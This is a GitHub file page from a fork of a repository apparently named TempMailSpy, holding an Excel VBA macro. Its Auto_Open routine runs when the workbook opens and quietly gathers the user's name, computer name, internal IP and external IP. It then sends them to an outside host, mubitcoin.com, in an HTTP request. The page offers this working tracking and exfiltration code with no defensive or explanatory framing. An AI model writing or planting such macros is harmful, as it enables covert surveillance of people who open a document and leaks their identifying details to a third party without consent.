forked from br33z3/TempMailSpy
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathExcel_Script
62 lines (47 loc) · 1.63 KB
/
Excel_Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Sub Auto_Open()
Dim objNetwork As Object
Dim strHostname As String
Dim objHTTP As Object
Dim strURL As String
Dim strExternalIP As String
Dim objWMIService As Object
Dim colItems As Object
Dim objItem As Object
Dim strInternalIP As String
Dim strUsername As String
Dim strSendURL As String
Set objNetwork = CreateObject("WScript.Network")
' GET HOSTNAME INFORMATION
strHostname = objNetwork.ComputerName
strUsername = objNetwork.Username
' CREATE HTTP OBJECT
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
' GET EXTERNAL IP
strURL = "https://ipconfig.io/ip"
' SEND REQUEST TO URL
objHTTP.Open "GET", strURL, False
objHTTP.send
' GET RESPONSE FROM EXTERNAL SERVICE
strExternalIP = objHTTP.responseText
' GET INTERNAL IP VIA WMI
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
' GET THE FIRST IP ADDRESS
For Each objItem In colItems
If Not IsNull(objItem.IPAddress) Then
strInternalIP = Join(objItem.IPAddress, ", ")
Exit For
End If
Next
' SET URL TO SEND INFORMATIONS
strSendURL = "http://mubitcoin.com/?username=" & strUsername & "&hostname=" & strHostname & "&internalIP=" & strInternalIP & "&externalIP=" & strExternalIP
' SEND HTTP
objHTTP.Open "GET", strSendURL, False
objHTTP.send
' CLEAR OBJECTS
Set objNetwork = Nothing
Set objHTTP = Nothing
Set objWMIService = Nothing
Set colItems = Nothing
Exit Sub
End Sub